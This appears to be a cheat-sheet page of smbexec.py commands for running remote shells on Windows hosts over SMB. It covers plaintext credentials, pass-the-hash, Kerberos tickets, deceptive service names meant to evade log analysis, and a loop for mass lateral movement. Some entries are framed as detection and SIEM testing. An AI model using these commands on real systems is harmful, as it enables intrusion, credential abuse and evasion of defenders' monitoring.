smbexec.py administrator:password@192.168.1.10Executes a semi-interactive shell on a remote Windows host using local credentials.
Example
smbexec.py administrator:Summer2025!@192.168.1.10Impacket’s smbexec.py: a semi-interactive shell over SMB that creates a service per command instead of uploading a binary.
sudo apt install python3-impacketsmbexec.py administrator:password@192.168.1.10Executes a semi-interactive shell on a remote Windows host using local credentials.
Example
smbexec.py administrator:Summer2025!@192.168.1.10smbexec.py domain/administrator:password@192.168.1.10Connects to a target using domain credentials.
Example
smbexec.py corp.local/admin:P@ssword123@192.168.1.10smbexec.py domain/user:password@hostnameTargets a host by hostname instead of IP address.
Example
smbexec.py corp/jdoe:secret@fileserver01smbexec.py -hashes :<NTHash> administrator@192.168.1.10Performs Pass-the-Hash authentication using only the NT hash.
Example
smbexec.py -hashes :8846F7EAEE8FB117AD06BDD830B7586C administrator@192.168.1.10smbexec.py -hashes <LMHash>:<NTHash> administrator@192.168.1.10Performs Pass-the-Hash using both LM and NT hashes.
Example
smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846F7EAEE8FB117AD06BDD830B7586C administrator@192.168.1.10smbexec.py -no-pass administrator@192.168.1.10Attempts to connect without a password, useful if a null session or existing trust allows it.
smbexec.py -k -no-pass target.domain.localUses an existing TGT from the KRB5CCNAME environment variable for Kerberos authentication.
Example
smbexec.py -k -no-pass file01.corp.localsmbexec.py -k -no-pass -dc-ip <DC_IP> target.domain.localAuthenticates via Kerberos while manually specifying the Domain Controller IP.
Example
smbexec.py -k -no-pass -dc-ip 192.168.1.5 file01.corp.localsmbexec.py -aesKey <hex_key> user@192.168.1.10Authenticates using the AES256 key for Kerberos instead of a password or NTLM hash.
Example
smbexec.py -aesKey 8e5f...9a1b administrator@192.168.1.10smbexec.py -service-name <name> administrator@192.168.1.10Sets a custom name for the service created on the remote host to blend in.
Example
smbexec.py -service-name UpdaterService administrator@192.168.1.10smbexec.py -mode SHARE administrator@192.168.1.10Forces SHARE mode where output is written to a remote share file and read back.
smbexec.py -mode SERVER administrator@192.168.1.10Forces SERVER mode where a local SMB server is raised to receive command output.
smbexec.py -share <share_name> administrator@192.168.1.10Specifies a specific share (e.g., ADMIN$ or C$) to use for uploading the service executable.
Example
smbexec.py -share ADMIN$ administrator@192.168.1.10smbexec.py -target-ip <ip> domain/user@hostnameResolves the hostname manually to a specific target IP address.
Example
smbexec.py -target-ip 192.168.1.20 corp/admin@ws-hr-01smbexec.py -port 445 administrator@192.168.1.10Explicitly sets the destination port, useful if port forwarding or non-standard ports are in use.
smbexec.py -debug administrator@192.168.1.10Enables verbose debug output to troubleshoot connection or authentication issues.
smbexec.py -codec <codec_name> administrator@192.168.1.10Sets the text encoding used for the remote output to handle non-ASCII characters.
Example
smbexec.py -codec utf-8 administrator@192.168.1.10smbexec.py -k -debug target.localCombines Kerberos authentication with debug mode to diagnose ticket issues.
Example
smbexec.py -k -debug database.corp.localsmbexec.py -hashes :<NTHash> -service-name BTO_Service admin@192.168.1.10Simulates lateral movement using a hash and a custom service name to test detection logic.
Example
smbexec.py -hashes :8846... admin@192.168.1.10 -service-name SVC_BACKUPsmbexec.py -mode SERVER -service-name WinDefendUpdate admin@192.168.1.10Uses Server mode and a deceptive service name to evade simple log analysis.
smbexec.py -share C$ -service-name NetLogonHelper admin@192.168.1.10Executes via the C$ share instead of ADMIN$ with a legitimate-sounding service name.
smbexec.py -debug -service-name TEST_LATERAL_MOVE admin@192.168.1.10Generates a noisy, easily identifiable service creation event for verifying SIEM alerts.
smbexec.py -k -no-pass -service-name KRB_TEST target.localTests detection rules for Kerberos-based service creation lateral movement.
Example
smbexec.py -k -no-pass -service-name KRB_TEST file01.localsmbexec.py -hashes :<NTHash> -dc-ip <DC_IP> domain/user@target_ipAuthenticates to a specific target IP while directing authentication requests to a specific DC.
Example
smbexec.py -hashes :8846... -dc-ip 10.0.0.5 corp/admin@10.0.0.20smbexec.py -mode SHARE -share IPC$ admin@192.168.1.10Attempts execution using the IPC$ share, often used to test restricted share access controls.
smbexec.py -port 139 administrator@192.168.1.10Attempts to connect over the legacy NetBIOS Session Service port instead of port 445.
smbexec.py -service-name AE_SVC_RANDOM admin@192.168.1.10Emulates an adversary using randomized service names to bypass static string detection.
Example
smbexec.py -service-name AE_SVC_x892a admin@192.168.1.10smbexec.py 'domain/Administrator':password@192.168.1.10Explicitly quotes the username to handle spaces or special characters in credentials.
Example
smbexec.py 'corp/Administrator':Summer2025!@192.168.1.10smbexec.py -debug -service-name MALICIOUS_SERVICE admin@192.168.1.10Creates a distinct artifact to test the incident response team's ability to extract service binaries.
smbexec.py -mode SERVER -port 445 admin@192.168.1.10Uses server mode to force the target to connect back to the attacker, altering traffic flow patterns.
smbexec.py -no-pass -k target.local < commands.txtPipes a list of commands into the standard input for automated execution upon connection.
smbexec.py -debug -hashes :<NTHash> admin@192.168.1.10Debugs a Pass-the-Hash connection to verify protocol negotiation and authentication steps.
Example
smbexec.py -debug -hashes :8846... admin@192.168.1.10smbexec.py domain/user:pass@192.168.1.10Standard syntax for domain authentication against an IP address target.
Example
smbexec.py corp/jdoe:P@ssword@192.168.1.10smbexec.py localaccount:pass@192.168.1.10Authenticates using a local account (non-domain) on the remote machine.
Example
smbexec.py Administrator:P@ssword@192.168.1.10smbexec.py admin:pass@192.168.1.10Upon successful connection, smbexec drops into a semi-interactive CMD.EXE shell.
smbexec.py -service-name TEMP_SVC admin@192.168.1.10Used to verify that the tool correctly deletes the service 'TEMP_SVC' after the session exits.
smbexec.py -mode SHARE -no-pass -k target.localUses Kerberos and Share mode for environments where direct server callbacks are blocked by firewalls.
Example
smbexec.py -mode SHARE -no-pass -k db-prod.localsmbexec.py child.root.local/admin:pass@rootdc.root.localDemonstrates lateral movement across trust boundaries using explicit domain credentials.
Example
smbexec.py us.corp.local/admin:pass@uk.corp.localsmbexec.py -service-name '' admin@192.168.1.10Attempts to execute with an empty service name to test robustness of parser and logging (may fail on some versions).
smbexec.py -k -no-pass -mode SERVER -service-name MS_Update admin@targetMaximizes stealth by combining Kerberos (no NTLM), Server mode (no share drop), and a deceptive name.
Example
smbexec.py -k -no-pass -mode SERVER -service-name MS_Update admin@ws01.localsmbexec.py -aesKey <key> -dc-ip <IP> user@targetUses AES keys for authentication while pinning the DC to avoid DNS poisoning or spoofing.
Example
smbexec.py -aesKey 8846... -dc-ip 10.10.10.1 administrator@10.10.10.5smbexec.py admin@192.168.1.10If the password is omitted in the command line, smbexec will securely prompt for it.
smbexec.py -hashes LM:NT domain/user@ipStandard syntax for passing full LM:NT hash pairs for domain accounts.
Example
smbexec.py -hashes aad3...:8846... corp/user@192.168.1.50for ip in $(cat targets.txt); do smbexec.py admin:pass@$ip; doneConceptual bash loop demonstrating how smbexec is wrapped for mass lateral movement.
exitTyping exit inside the smbexec shell terminates the remote service and cleans up the binary.
Running commands on remote Windows hosts via the Service Control Manager — Sysinternals PsExec and Impacket’s psexec.py.
Impacket’s wmiexec.py: a semi-interactive shell over DCOM/WMI that leaves fewer artefacts than service-based execution.
The Swiss-army knife for Windows networks: spray credentials, execute commands and dump secrets across SMB, WinRM, LDAP and MSSQL. NetExec (nxc) is the maintained fork.